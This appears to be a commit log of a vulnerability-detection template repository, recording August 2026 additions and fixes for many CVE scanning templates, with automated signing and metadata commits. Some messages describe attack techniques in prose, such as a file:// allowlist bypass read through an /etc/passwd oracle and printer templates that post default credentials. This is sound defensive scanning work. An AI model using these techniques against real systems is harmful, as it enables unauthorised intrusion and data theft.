Aman Rawat 87a9928a40 Update CVE-2020-10204.yaml 2026-08-17 17:05:15 +05:30
Aman Rawat edf4c88ae8 Update CVE-2026-69084.yaml 2026-08-17 16:44:25 +05:30
Aman Rawat 6509dac0ed Update CVE-2026-3576.yaml 2026-08-17 16:40:27 +05:30
Aman Rawat 196a089ba3 Update zulip-login-panel.yaml 2026-08-17 16:30:23 +05:30
Aman Rawat 7484b91b1c Create CVE-2022-1281.yaml 2026-08-17 16:14:27 +05:30
ghost c0faffdf5b chore: generate templates checksum 🤖 2026-08-17 10:29:48 +00:00
ghost 265d2ed091 chore: generate new addition list 🤖 2026-08-17 10:27:44 +00:00
ghost f9f0a8d2ae chore: generate CVEs metadata 🤖 2026-08-17 10:27:03 +00:00
ghost 7856f69261 chore: sign templates 🤖 2026-08-17 10:26:55 +00:00
Aman Rawat 810c7ce271 Merge pull request #16846 from str4k3r/cve-2026-1115-ecosystem-20260812-v2
Add CVE-2026-1115 lollms authenticated stored XSS
2026-08-17 15:56:34 +05:30
Th3l0newolf [ Chinmay Divekar] d78bd979d5 Add Zulip login panel
Added a new YAML configuration for the Zulip login panel, including metadata and HTTP matchers.
2026-08-17 01:00:37 -07:00
Dishant4081 cc167ab457 fix(http/cves/2024): CVE-2024-52433 template cannot match a genuine my-geo-posts-free install 2026-08-17 13:10:06 +05:30
Roberto Nunes 0f58efccbf Update CVE-2026-1115 details and HTTP flow
The CVE entry for CVE-2026-1115 has been updated to reflect the vulnerability's nature, impact, and remediation steps more clearly. The description and tags have been refined, and additional matchers and extractors have been added to the HTTP flow.
2026-08-17 16:35:06 +09:00
Dhiyaneshwaran 0aba0cf73e Printers: add intrusive tag to vuln, misconfig, CVE and default-login templates
Printer templates that actively exploit or authenticate now carry the
`intrusive` tag, so they can be excluded from non-invasive scans:

- 18 CVEs (Kyocera, Lexmark, PaperCut, Sharp, Brother, Honeywell PM43,
  Ricoh, Canon Catwalk, Repetier, TITool PrintMonitor, CUPS)
- 10 misconfiguration/exposure (HP, AMR, OctoPrint, MFP eSCL, Repetier,
  Brother, Dell, PJL info leak)
- 5 vulnerabilities (IBM InfoPrint, C-Lodop, Kyocera, PaperCut log4j, Sharp)
- 10 default-logins (Canon, Fuji Xerox, HP, Ricoh, Samsung, Sato,
  Toshiba TopAccess, Xerox x2, Zebra) - these POST credentials and can
  trigger device lockout

Tag is inserted before the trailing `vuln` tag to match existing
convention. Detection-only templates are deliberately untouched:
exposed-panels, technologies, and the iot/ detect templates. Also skipped
CVE-2026-4480 (tagged `passive`, SMB banner check only).
2026-08-17 11:14:46 +04:00
Th3l0newolf [ Chinmay Divekar] ceea871758 Add easy TimePro login panel 2026-08-17 00:09:56 -07:00
ghost f6797b2923 chore: generate templates checksum 🤖 2026-08-17 06:43:34 +00:00
ghost 8c1c22d2c7 chore: sign templates 🤖 2026-08-17 06:41:11 +00:00
Aman Rawat b2b9e8d3aa Merge pull request #16888 from shreyas-malhotra/CVE-2026-21858
fix: CVE-2026-21858 - add /rest/sentry.js fallback for n8n 1.65.0-1.111.x detection
2026-08-17 12:10:51 +05:30
ghost 2cf38f0463 chore: generate templates checksum 🤖 2026-08-17 06:10:55 +00:00
ghost a9c5ed2aab chore: generate new addition list 🤖 2026-08-17 06:08:47 +00:00
ghost 6fabba510b chore: generate CVEs metadata 🤖 2026-08-17 06:07:59 +00:00
ghost 139bcc99bc chore: sign templates 🤖 2026-08-17 06:07:56 +00:00
Aman Rawat 056cb49736 Merge pull request #16883 from Popy21/template/cve-2025-26399
CVE-2025-26399
2026-08-17 11:37:35 +05:30
Aman Rawat c05421e8be Merge branch 'main' into CVE-2026-21858 2026-08-17 11:36:51 +05:30
Dhiyaneshwaran 5fac97cce8 CVE-2026-52806 - Gogs <= 0.14.2 - Authenticated RCE via git rebase Argument Injection 2026-08-17 09:32:50 +04:00
Dhiyaneshwaran b1dbc8075a CVE-2015-7501 - Red Hat JBoss - Insecure Deserialization 2026-08-17 09:12:59 +04:00
Dhiyaneshwaran d53a4b641f CVE-2019-1003030 - Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization 2026-08-17 08:49:14 +04:00
ghost ddc9f17bcd chore: generate templates checksum 🤖 2026-08-17 04:35:21 +00:00
ghost ede5ef7977 chore: generate new addition list 🤖 2026-08-17 04:33:24 +00:00
ghost 866a463dc9 chore: generate CVEs metadata 🤖 2026-08-17 04:32:45 +00:00
ghost de0da65cfe chore: sign templates 🤖 2026-08-17 04:32:39 +00:00
Dhiyaneshwaran 18b4c295c1 Merge pull request #16893 from str4k3r/str4k3r/cve-2026-16268
Add CVE-2026-16268 template
2026-08-17 10:02:15 +05:30
Dhiyaneshwaran 91f3b04934 Update CVE-2026-8237.yaml 2026-08-17 08:29:48 +04:00
Dhiyaneshwaran acb92278e2 Update CVE-2026-55087.yaml 2026-08-17 08:18:27 +04:00
Roberto Nunes ed00e89495 Update CVE-2026-16268.yaml 2026-08-17 13:07:25 +09:00
Roberto Nunes 7724bf8168 Update CVE-2026-16268.yaml 2026-08-17 13:03:02 +09:00
ghost 0477fa15dd chore: generate templates checksum 🤖 2026-08-17 04:00:36 +00:00
ghost b1e5f4dab1 chore: generate new addition list 🤖 2026-08-17 03:58:46 +00:00
Roberto Nunes f7477a0083 Update CVE-2026-8237.yaml 2026-08-17 12:58:20 +09:00
ghost 3cd34d25e9 chore: generate CVEs metadata 🤖 2026-08-17 03:58:05 +00:00
ghost 261e459908 chore: sign templates 🤖 2026-08-17 03:58:01 +00:00
Roberto Nunes 894ebf6e38 Merge pull request #16879 from PapButfly/cve-2025-0520
showdoc: upgrade CNVD-2020-26585 to CVE-2025-0520 with improved logic
2026-08-17 12:57:39 +09:00
ghost 241b831239 chore: update KEV and vKEV tags and metadata 🤖 2026-08-17 03:20:46 +00:00
Roberto Nunes 07bf46f163 Update CVE-2026-16268.yaml 2026-08-17 12:11:34 +09:00
Roberto Nunes 9ba72d6d7e Update CVE-2025-26399.yaml 2026-08-17 12:07:43 +09:00
ghost ebd5080889 chore: update EPSS scores 🤖 2026-08-17 02:25:55 +00:00
ghost 8a8bc3bfd3 chore: generate templates checksum 🤖 2026-08-17 01:40:31 +00:00
ghost 3704f19cf9 chore: generate new addition list 🤖 2026-08-17 01:39:44 +00:00
ghost de87d16a05 chore: generate new addition list 🤖 2026-08-17 01:39:12 +00:00
ghost 8a9e97e716 chore: generate CVEs metadata 🤖 2026-08-17 01:39:09 +00:00
ghost c907a64987 chore: sign templates 🤖 2026-08-17 01:39:06 +00:00
Roberto Nunes db40e618dc Merge pull request #16868 from Popy21/template/cve-2024-57726
CVE-2024-57726
2026-08-17 10:38:44 +09:00
ghost 18cb821aca chore: generate CVEs metadata 🤖 2026-08-17 01:38:27 +00:00
ghost 4be63d344c chore: sign templates 🤖 2026-08-17 01:38:19 +00:00
Roberto Nunes cb74e230c8 Merge pull request #16884 from Pauullamm/CVE-2026-6854
CVE-2026-6854 - My Calendar < 3.7.9 - Unauthenticated SQL Injection
2026-08-17 10:37:59 +09:00
ghost 9c2791bf0a chore: sign templates 🤖 2026-08-17 01:37:45 +00:00
Roberto Nunes 5e83de223e Merge pull request #16889 from DhiyaneshGeek/fix/move-invalid-cves-to-vulnerabilities
Move 22 invalid/rejected CVE templates to vulnerabilities
2026-08-17 10:37:23 +09:00
1dayexploit 9c6a8e534a Merge branch 'main' into cve-2026-17594 2026-08-17 01:49:09 +03:00
Paul Lam 63fdc46fd6 Add name 2026-08-16 20:20:37 +00:00
Paul Lam 387677c6c4 Add name 2026-08-16 20:20:09 +00:00
Paul Lam 27ee27ca2b Add CVE-2026-8237.yaml 2026-08-16 20:19:41 +00:00
mmadersbacher 3de2ca345e Added CVE-2020-10204 | Nexus Repository Manager 3 RCE 2026-08-16 21:33:13 +02:00
ghost effb83bbed chore: generate templates checksum 🤖 2026-08-16 19:30:26 +00:00
ghost d5e07375c2 chore: generate new addition list 🤖 2026-08-16 19:28:31 +00:00
ghost 2b4c74f616 chore: sign templates 🤖 2026-08-16 19:27:40 +00:00
Aman Rawat 1ebd7aa28e Merge pull request #16900 from projectdiscovery/geoserver-jsonarraycontains-sqli
GeoServer jsonArrayContains CQL Filter - SQL Injection
2026-08-17 00:57:16 +05:30
Dhiyaneshwaran bd7bd13940 GeoServer jsonArrayContains CQL Filter - SQL Injection
Updated author name and modified tags for clarity.
2026-08-16 14:29:57 +04:00
Aryu-RU 02de7d05d8 Add CVE-2026-3576 - Planyo Online Reservation System <= 3.0 - Arbitrary File Read
ulap.php is reachable without WordPress bootstrapping or authentication and
validates only the host of the supplied URL, never the scheme, so a
file://localhost/ URL passes the allowlist and is read back through the
file:// wrapper.

Detection is a single unauthenticated GET matched on the /etc/passwd oracle.
A patched 3.1 install still answers 200 with an error body, so the status code
alone is not a discriminator and the regex carries the match.
2026-08-16 05:38:47 +00:00
ghost 2ec9141238 chore: update KEV and vKEV tags and metadata 🤖 2026-08-16 03:20:40 +00:00
ghost a6b23a40b6 chore: update EPSS scores 🤖 2026-08-16 02:26:45 +00:00
Muhammad Haseeb 300405c43a Add CVE-2026-55087 Etherpad template 2026-08-16 06:19:45 +05:00
Paul Lam 7318a7fcd5 fix tab linting issue 2026-08-15 20:07:28 +00:00
Paul Lam b86fe730e3 Add CVE-2025-11452.yaml file 2026-08-15 17:13:15 +01:00
ST4RK 3397dc94b3 Add CVE-2026-8236 template 2026-08-15 15:45:06 +03:00
ST4RK 6258a1cd85 Add CVE-2026-16268 template 2026-08-15 15:45:01 +03:00
ST4RK 8f99ef2bc3 Add CVE-2026-0717 template 2026-08-15 15:44:56 +03:00
ghost 9090ee102e chore: update KEV and vKEV tags and metadata 🤖 2026-08-15 03:16:24 +00:00
ghost 8f7c08cefd chore: update EPSS scores 🤖 2026-08-15 02:21:45 +00:00
Billard 906787f66e feat: add CVE-2026-73034 DB-GPT path traversal file write 2026-08-15 00:16:32 +02:00
Boreas37 9b34e4ffd0 CVE-2026-69084: use read-only stacked SELECT instead of CREATE TABLE 2026-08-14 22:07:05 +03:00
ghost e84ce385bf chore: generate new addition list 🤖 2026-08-14 16:24:03 +00:00
ghost 896895b779 chore: generate new addition list 🤖 2026-08-14 16:23:59 +00:00
ghost d9e0c36565 chore: generate new addition list 🤖 2026-08-14 16:23:49 +00:00
ghost 4dc971a04e chore: generate CVEs metadata 🤖 2026-08-14 16:23:24 +00:00
Ritik Chaddha 373f2aed3b Merge pull request #16845 from str4k3r/cve-2026-10768-ecosystem-20260812-v2
Add CVE-2026-10768 Drupal LocalGov Workflows content disclosure
2026-08-14 21:53:00 +05:30
Ritik Chaddha 434ff39e81 Merge pull request #16806 from str4k3r/str4k3r/cve-2026-25231
CVE-2026-25231 - FileRise - Unauthenticated Arbitrary File Read
2026-08-14 21:52:51 +05:30
Ritik Chaddha c1e19c3c85 Merge pull request #16801 from str4k3r/str4k3r/cve-2026-61808
Add CVE-2026-61808 - LightRAG unauthenticated default exposure
2026-08-14 21:52:41 +05:30
ghost 6057e38003 chore: generate templates checksum 🤖 2026-08-14 16:16:19 +00:00
ghost 1c2aa9979a chore: generate new addition list 🤖 2026-08-14 16:15:58 +00:00
ghost a09c152974 chore: sign templates 🤖 2026-08-14 16:15:24 +00:00
Ritik Chaddha 38d317732c Merge pull request #16797 from ashish-cybersec/add-shiori-panel
Add Shiori Bookmarks Manager panel detection template
2026-08-14 21:45:03 +05:30
Ritik Chaddha 4f9c54fce0 Update CVE-2026-10768.yaml 2026-08-14 21:44:38 +05:30
ghost 188db5636e chore: generate new addition list 🤖 2026-08-14 16:13:54 +00:00
Ritik Chaddha aa373d8b14 Update CVE-2026-61808.yaml 2026-08-14 21:43:21 +05:30
ghost 14955c21d4 chore: generate CVEs metadata 🤖 2026-08-14 16:13:12 +00:00
ghost 049cb932a8 chore: sign templates 🤖 2026-08-14 16:13:08 +00:00
Ritik Chaddha 96de16d360 Merge pull request #16784 from str4k3r/str4k3r/cve-2026-2614
Add CVE-2026-2614: MLflow <= 3.9.0 unauthenticated arbitrary file read
2026-08-14 21:42:48 +05:30
Ritik Chaddha 84b2c571b7 Update CVE-2026-25231.yaml 2026-08-14 21:42:44 +05:30
ghost e2a75d9ab2 chore: generate templates checksum 🤖 2026-08-14 16:11:24 +00:00
Ritik Chaddha 75d60fdf76 Update CVE-2026-61808.yaml 2026-08-14 21:40:15 +05:30
ghost 58c98375c5 chore: generate new addition list 🤖 2026-08-14 16:09:30 +00:00
ghost 43f7379f89 chore: generate new addition list 🤖 2026-08-14 16:09:27 +00:00
ghost 27328c10c3 chore: generate new addition list 🤖 2026-08-14 16:09:18 +00:00
ghost 731906004c chore: generate new addition list 🤖 2026-08-14 16:09:09 +00:00
Ritik Chaddha 3883bc4d47 Update shiori-panel.yaml 2026-08-14 21:38:51 +05:30
ghost 454c8d1623 chore: generate CVEs metadata 🤖 2026-08-14 16:08:51 +00:00
ghost 253b2a7e65 chore: sign templates 🤖 2026-08-14 16:08:43 +00:00
Ritik Chaddha 03a29032eb Merge pull request #16778 from str4k3r/str4k3r/cve-65919
Add CVE-2026-65919: Meshery <1.0.57 unauthenticated arbitrary file read
2026-08-14 21:38:22 +05:30
Ritik Chaddha a6e71b9bca Merge pull request #16763 from str4k3r/str4k3r/cve-2026-40280
Add CVE-2026-40280 template
2026-08-14 21:38:17 +05:30
Ritik Chaddha c719784427 Merge pull request #16760 from projectdiscovery/Akokonunes-patch-14
Create CVE-2026-17532.yaml - Seraphinite Accelerator <= 2.29.18 - Unauthenticated XSS
2026-08-14 21:38:03 +05:30
Ritik Chaddha 75a27c7294 Merge pull request #16794 from str4k3r/str4k3r/cve-2026-27796
Add CVE-2026-27796: Homarr < 1.54.0 unauthenticated integration config disclosure
2026-08-14 21:37:53 +05:30
Ritik Chaddha e930b2e97c Update CVE-2026-2614.yaml 2026-08-14 21:36:47 +05:30
Ritik Chaddha 007f70af80 Update CVE-2026-65919.yaml 2026-08-14 21:33:53 +05:30
Ritik Chaddha 20e3a3a837 Update CVE-2026-40280.yaml 2026-08-14 21:32:42 +05:30
ghost ba1e61f74d chore: generate templates checksum 🤖 2026-08-14 16:02:28 +00:00
Ritik Chaddha 367f63f62c Update CVE-2026-17532.yaml 2026-08-14 21:31:30 +05:30
ghost 8c683fb82a chore: generate new addition list 🤖 2026-08-14 16:00:17 +00:00
ghost 4c2b6fef68 chore: generate CVEs metadata 🤖 2026-08-14 15:59:47 +00:00
ghost 18175aaa4d chore: sign templates 🤖 2026-08-14 15:59:34 +00:00
Ritik Chaddha 064c10ca1f Merge pull request #16692 from projectdiscovery/CVE-2026-27542
CVE-2026-27542 - WooCommerce Wholesale Lead Capture <= 2.0.3.1 - Unauthenticated Privilege Escalation
2026-08-14 21:29:10 +05:30
Dhiyaneshwaran 180099ea2d move 22 invalid/rejected CVE templates to vulnerabilities
Templates with CVE IDs that are either rejected or not found in NVD
have been renamed and moved to http/vulnerabilities/ folder.

Rejected in NVD (8): CVE-2022-29299, CVE-2022-29301, CVE-2022-38322,
CVE-2023-24367, CVE-2024-0713, CVE-2024-12760, CVE-2024-57050,
CVE-2025-34085

Not found in NVD (14): CVE-2018-10818, CVE-2018-16341, CVE-2021-26292,
CVE-2021-27748, CVE-2021-28073, CVE-2021-28854, CVE-2021-44910,
CVE-2023-1434, CVE-2023-39024, CVE-2023-39120, CVE-2024-23163,
CVE-2024-23167, CVE-2024-25669, CVE-2025-32101

Closes #16115
2026-08-14 18:10:00 +05:30
Dhiyaneshwaran 43619cfaee Update CVE-2026-21858.yaml with request limits and tags 2026-08-14 17:42:21 +05:30
Dhiyaneshwaran 494f15b76e Update CVE-2026-6854.yaml 2026-08-14 17:31:05 +05:30
Shreyas Malhotra b07893e752 fix: CVE-2026-21858 - add /rest/sentry.js fallback for n8n 1.65.0-1.111.x detection
The original template only detected n8n 1.112.0+ via the <meta name="n8n:config:sentry"> tag on /signin. Versions 1.65.0-1.111.x serve version via /rest/sentry.js instead, causing false negatives for the full vulnerable range (>= 1.65.0, < 1.121.0).

Added second HTTP block querying /rest/sentry.js which returns {"release":"X.Y.Z"}. Both blocks validate against same version range.
2026-08-14 16:53:41 +05:30
Muhammad Daffa 3c9cdb882b Format raw HTTP request for CVE-2026-3395 2026-08-14 18:01:39 +07:00
Muhammad Daffa b1265b5874 Broken CVE-2026-3395 2026-08-14 18:00:12 +07:00
Dhiyaneshwaran 2289d3fb80 Revise CVE-2026-6854 YAML with detailed description
Updated vulnerability details and remediation for CVE-2026-6854.
2026-08-14 16:02:45 +05:30
Paul Lam 2cc0447b8e Draft CVE-2026-6854.yaml 2026-08-14 10:45:30 +01:00
Adel Bouachraoui b11462a11c CVE-2025-26399 — add detection template 2026-08-14 11:20:02 +02:00
ghost bb4fd0cd00 chore: generate templates checksum 🤖 2026-08-14 07:18:06 +00:00
ghost 1de8f9df80 chore: generate new addition list 🤖 2026-08-14 07:16:30 +00:00
ghost b2cf901e1d chore: sign templates 🤖 2026-08-14 07:15:37 +00:00
Dhiyaneshwaran dddec3891b Merge pull request #16819 from righettod/openshift_add
Add detection of "OpenShift console monitoring plugin" instances.
2026-08-14 12:45:17 +05:30
Dhiyaneshwaran 59bb0a08f2 Rename OpenShift Monitoring Plugin to include 'Detect' 2026-08-14 12:37:20 +05:30
ghost cb36492485 chore: generate templates checksum 🤖 2026-08-14 05:12:51 +00:00
Aman Rawat a90dee415b Update CVE-2025-0520.yaml 2026-08-14 10:42:09 +05:30
ghost 0be2b4910c chore: generate new addition list 🤖 2026-08-14 05:10:54 +00:00
ghost 61942862ab chore: generate CVEs metadata 🤖 2026-08-14 05:10:12 +00:00
ghost 631b951599 chore: sign templates 🤖 2026-08-14 05:10:06 +00:00
Dhiyaneshwaran fe33826207 Merge pull request #16770 from str4k3r/str4k3r/cve-2026-41432
Add CVE-2026-41432 template
2026-08-14 10:39:43 +05:30
Aman Rawat 252eeed163 Update openshift-monitoring-plugin-detect.yaml 2026-08-14 10:31:34 +05:30
ghost cbbf5f3983 chore: generate templates checksum 🤖 2026-08-14 04:59:08 +00:00
ghost e61fd6f4b3 chore: generate new addition list 🤖 2026-08-14 04:57:01 +00:00
ghost 37a67208c8 chore: generate new addition list 🤖 2026-08-14 04:56:43 +00:00
ghost 71c7f36a12 chore: sign templates 🤖 2026-08-14 04:56:27 +00:00
Aman Rawat 442a333561 Merge pull request #16880 from matejsmycka/patch-1
Update WSDL API path
2026-08-14 10:25:59 +05:30
Aman Rawat 81b4a0ae08 Merge pull request #16854 from str4k3r/cve-2026-14483-ecosystem-20260812-v2
Add CVE-2026-14483 WPL WordPress unauthenticated file upload
2026-08-14 10:25:48 +05:30
Aman Rawat 2bd0a691c2 Merge pull request #16882 from projectdiscovery/Akokonunes-patch-7
Create CVE-2025-13342.yaml - DynamiApps Frontend Admin <= 3.28.20 - Unauthenticated Arbitrary Options Update
2026-08-14 10:25:31 +05:30
Aman Rawat a1e26fba0f Update CVE-2024-57726.yaml 2026-08-14 10:23:39 +05:30
Roberto Nunes 9b516c2cfd Refactor CVE-2025-13342 HTTP request structure
Refactor HTTP requests to use a structured payload with attack type and paths. Update matchers and conditions for better clarity and functionality.
2026-08-14 13:42:17 +09:00
ghost 93008a8e6e chore: generate templates checksum 🤖 2026-08-14 04:06:01 +00:00
ghost 43741e1cf8 chore: sign templates 🤖 2026-08-14 04:03:22 +00:00
Roberto Nunes 00207018aa Merge pull request #16753 from PalmOla/patch-3
Implement error checks for SNMP response validity
2026-08-14 13:02:58 +09:00
ghost 8190633132 chore: update KEV and vKEV tags and metadata 🤖 2026-08-14 03:45:55 +00:00
Roberto Nunes 51d396174e Update snmpv3-detect.yaml 2026-08-14 12:43:26 +09:00
ghost ea8e8e2660 chore: generate templates checksum 🤖 2026-08-14 03:40:42 +00:00
ghost 385c453927 chore: generate new addition list 🤖 2026-08-14 03:38:56 +00:00
ghost 1ebea27f5e chore: generate new addition list 🤖 2026-08-14 03:38:35 +00:00
ghost b89751c097 chore: generate CVEs metadata 🤖 2026-08-14 03:38:09 +00:00
ghost 635878067b chore: sign templates 🤖 2026-08-14 03:38:04 +00:00
Roberto Nunes 8ad171e7b2 Merge pull request #16876 from projectdiscovery/CVE-2026-49049
CVE-2026-49049 - JoomShaper Helix3 <=3.1.0 - Unauthenticated Arbitrary JSON File Write
2026-08-14 12:37:43 +09:00
ghost e1f1dd8a5f chore: generate CVEs metadata 🤖 2026-08-14 03:37:40 +00:00
ghost dfb66ebf14 chore: generate new addition list 🤖 2026-08-14 03:37:31 +00:00
Roberto Nunes af1f33cedf Merge pull request #16802 from str4k3r/cve-2026-45332-automad
CVE-2026-45332 - Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure
2026-08-14 12:37:25 +09:00
Roberto Nunes 20b7b4ee91 Merge pull request #16875 from shreyas-malhotra/patch-4
fix: update max-request counter for CVE-2021-40822
2026-08-14 12:37:05 +09:00
ghost c4acb13388 chore: generate new addition list 🤖 2026-08-14 03:36:56 +00:00
ghost 1b5f718d38 chore: generate CVEs metadata 🤖 2026-08-14 03:36:43 +00:00
Roberto Nunes 5bb49c3b01 Merge pull request #16874 from projectdiscovery/CVE-2026-58644
CVE-2026-58644 - Microsoft SharePoint Server - WS-Federation BinaryFo…
2026-08-14 12:36:21 +09:00
Roberto Nunes ed8f01173b Merge pull request #16780 from righettod/argocd-upd
Refactor the "ARGO CD" template.
2026-08-14 12:36:01 +09:00
Roberto Nunes ae21faa1e1 Update CVE-2026-41432.yaml 2026-08-14 12:29:46 +09:00
Roberto Nunes 2c429cb997 Revise CVE-2026-41432 details and remediation
Updated the CVE entry for CVE-2026-41432 to reflect the vulnerability details and remediation steps more clearly.
2026-08-14 12:26:43 +09:00
Roberto Nunes 6b7bd82939 Update CVE-2026-14483.yaml 2026-08-14 12:08:33 +09:00
ghost 51265bbf1e chore: update EPSS scores 🤖 2026-08-14 02:51:20 +00:00
Roberto Nunes 6a330799d2 Update CVE-2025-13342 description for clarity 2026-08-14 11:16:52 +09:00
Roberto Nunes cc431e435c Increase max-request limit from 1 to 2 2026-08-14 11:12:12 +09:00
Roberto Nunes 9505635704 Update wsdl-api.yaml 2026-08-14 11:11:07 +09:00
Matej Smycka 7e0c326d5d Update WSDL API path
Added an additional author and updated the path for WSDL API.
2026-08-13 17:54:43 +02:00
ben 8c13a6d2b0 showdoc: upgrade CNVD-2020-26585 to CVE-2025-0520 with improved logic 2026-08-13 20:38:13 +08:00
Ritik Chaddha ac3de5ab85 Create CVE-2025-34033.yaml 2026-08-13 18:01:08 +05:30
ghost cd5dcc12e6 chore: generate templates checksum 🤖 2026-08-13 12:26:44 +00:00
ghost 9ea0f8dacd chore: sign templates 🤖 2026-08-13 12:26:02 +00:00
ghost 865bb70f4c chore: generate CVEs metadata 🤖 2026-08-13 12:25:53 +00:00
Aman Rawat a1d2ec54ae Merge pull request #16877 from projectdiscovery/CVE-2024-56064
CVE-2024-56064 -   WP SuperBackup <= 2.3.3 - Unauthenticated Arbitrary File Upload to RCE
2026-08-13 17:55:38 +05:30
Aman Rawat 56300fd111 Update CVE-2026-45332.yaml 2026-08-13 17:54:49 +05:30
ghost f1f5fc6f22 chore: generate new addition list 🤖 2026-08-13 12:24:49 +00:00
ghost e66bb14e42 chore: sign templates 🤖 2026-08-13 12:24:05 +00:00
ghost aef04092a5 chore: generate CVEs metadata 🤖 2026-08-13 12:24:01 +00:00
Dhiyaneshwaran e17c656525 Merge pull request #16766 from str4k3r/str4k3r/cve-2026-53519
Add CVE-2026-53519 template
2026-08-13 17:53:39 +05:30
ghost 8cd4beb3f4 chore: generate templates checksum 🤖 2026-08-13 12:17:05 +00:00
ghost d2429db17b chore: sign templates 🤖 2026-08-13 12:14:16 +00:00
Dhiyaneshwaran e1a71be68f Merge pull request #16754 from hiddingtrojans/milvus-healthz-detect
Add milvus-healthz-detect: fingerprint Milvus server via :9091 healthz
2026-08-13 17:43:53 +05:30
Dhiyaneshwaran 1fb51d0132 Update CVE-2026-53519.yaml 2026-08-13 17:42:48 +05:30
Aman Rawat a4b6f6445f Rename CVE-2024-56064.yaml to CVE-2024-56064.yaml 2026-08-13 17:38:12 +05:30
Dhiyaneshwaran ceb3ee4843 CVE-2024-56064 - WP SuperBackup <= 2.3.3 - Unauthenticated Arbitrary File Upload to RCE 2026-08-13 17:34:29 +05:30
Aman Rawat 124d122baa Update CVE-2026-27796.yaml 2026-08-13 17:26:57 +05:30
Aman Rawat cededb8ab9 Update CVE-2026-2614.yaml 2026-08-13 16:54:04 +05:30
Aman Rawat ca8122fcc5 Update CVE-2026-53519.yaml 2026-08-13 16:42:07 +05:30
Aman Rawat 7643879184 Update 2026-08-13 16:32:28 +05:30
Aman Rawat dd7bebc999 Update snmpv3-detect.yaml 2026-08-13 16:11:24 +05:30
ghost 5b4fdc3026 chore: generate templates checksum 🤖 2026-08-13 10:31:10 +00:00
ghost adb33fa692 chore: generate new addition list 🤖 2026-08-13 10:29:08 +00:00
ghost 59da19d7d0 chore: generate CVEs metadata 🤖 2026-08-13 10:28:21 +00:00
ghost 4277dbe8e6 chore: sign templates 🤖 2026-08-13 10:28:19 +00:00
Roberto Nunes 2fd0bb1649 Merge pull request #16873 from projectdiscovery/DhiyaneshGeek-patch-2
Update CVE-2024-13985.yaml tags and regex
2026-08-13 19:27:59 +09:00
Dhiyaneshwaran a0defe8ded CVE-2026-49049 - JoomShaper Helix3 <=3.1.0 - Unauthenticated Arbitrary JSON File Write 2026-08-13 15:41:19 +05:30
ghost f5add6fa08 chore: generate templates checksum 🤖 2026-08-13 10:06:15 +00:00
ghost 196a0a4722 chore: generate new addition list 🤖 2026-08-13 10:04:27 +00:00
ghost 7103dddbdb chore: sign templates 🤖 2026-08-13 10:03:33 +00:00
Dhiyaneshwaran d59ea87e59 Merge pull request #16718 from M818872/add-cve-template
Add Firebase Authentication fingerprint template
2026-08-13 15:33:14 +05:30
Shreyas Malhotra 6ca533cfd9 fix: update max-request counter for CVE-2021-40822 2026-08-13 15:27:32 +05:30
Dhiyaneshwaran 1c9eea6cdb CVE-2026-58644 - Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE 2026-08-13 15:20:19 +05:30
ghost bea096723c chore: generate templates checksum 🤖 2026-08-13 09:27:23 +00:00
ghost c947a514bb chore: generate new addition list 🤖 2026-08-13 09:25:34 +00:00
ghost 14726c3f82 chore: generate new addition list 🤖 2026-08-13 09:25:24 +00:00
ghost 92fced0538 chore: generate CVEs metadata 🤖 2026-08-13 09:24:56 +00:00
ghost 0f38d9c7c0 chore: sign templates 🤖 2026-08-13 09:24:50 +00:00
Aman Rawat 9ac4f51b20 Merge pull request #16872 from projectdiscovery/CVE-2026-3395
Create CVE-2026-3395.yaml
2026-08-13 14:54:26 +05:30
Aman Rawat d3f199fe30 Merge pull request #16597 from Aryu-RU/add-cve-2026-58138
Add CVE-2026-58138 - Orkes Conductor 3.21.21-3.30.1 Unauthenticated RCE
2026-08-13 14:54:16 +05:30
ghost fe45adebea chore: generate templates checksum 🤖 2026-08-13 08:40:29 +00:00
github-actions[bot] d888b6cc18 chore: add impact and remediation fields 🤖 2026-08-13 08:38:38 +00:00
ghost ea7fbe1c47 chore: generate new addition list 🤖 2026-08-13 08:38:35 +00:00
ghost 9de13b614b chore: sign templates 🤖 2026-08-13 08:37:54 +00:00
ghost 56de28ea92 chore: generate CVEs metadata 🤖 2026-08-13 08:37:50 +00:00
Aman Rawat b3e7ad07b3 Merge pull request #16813 from Pauullamm/CVE-2026-3001
Add CVE-2026-3001 template
2026-08-13 14:07:30 +05:30
Dhiyaneshwaran d88331cdbb Update CVE-2024-13985.yaml tags and regex 2026-08-13 14:06:42 +05:30
Dhiyaneshwaran 32eb09dd49 Update CVE-2026-3001.yaml 2026-08-13 14:02:02 +05:30
Ritik Chaddha d0236652eb lint fix 2026-08-13 14:00:07 +05:30
Ritik Chaddha a65f651da6 Update CVE-2026-58138.yaml 2026-08-13 13:59:01 +05:30
ritikchaddha fc006aa70a Revert "Update CVE-2026-3395.yaml"
This reverts commit 6ed8a13628.
2026-08-13 13:58:38 +05:30
Aman Rawat 1254ff6542 Update firebase-auth-fingerprint.yaml 2026-08-13 13:58:04 +05:30
Ritik Chaddha 6ed8a13628 Update CVE-2026-3395.yaml 2026-08-13 13:57:18 +05:30
ghost 0fb23991f6 chore: generate templates checksum 🤖 2026-08-13 08:26:10 +00:00
ghost a2a69d1a26 chore: sign templates 🤖 2026-08-13 08:23:38 +00:00
Roberto Nunes 42a5009dfa Merge pull request #16719 from projectdiscovery/fp-flow
Fix false positives in flow templates by marking precondition matchers internal
2026-08-13 17:23:17 +09:00
ghost 57b64a0937 chore: generate templates checksum 🤖 2026-08-13 08:21:56 +00:00
Ritik Chaddha f4a1423e7c Create CVE-2026-3395.yaml 2026-08-13 13:50:50 +05:30
ghost b9d4d100d0 chore: generate new addition list 🤖 2026-08-13 08:20:32 +00:00
ghost 6e1b13aa8c chore: generate new addition list 🤖 2026-08-13 08:20:09 +00:00
ghost a220e81986 chore: generate templates checksum 🤖 2026-08-13 08:20:00 +00:00
ghost 29544ebb68 chore: generate CVEs metadata 🤖 2026-08-13 08:19:48 +00:00
ghost bad6dd9a34 chore: sign templates 🤖 2026-08-13 08:19:47 +00:00
Aman Rawat 8f7bf1d1fb Merge pull request #16804 from str4k3r/str4k3r/cve-2026-50160
Add CVE-2026-50160 template
2026-08-13 13:49:27 +05:30
ghost 8a34ac94ee chore: sign templates 🤖 2026-08-13 08:19:16 +00:00
Aman Rawat b8419802ca Merge pull request #16805 from str4k3r/str4k3r/cve-2026-6826
Add CVE-2026-6826 template
2026-08-13 13:48:57 +05:30
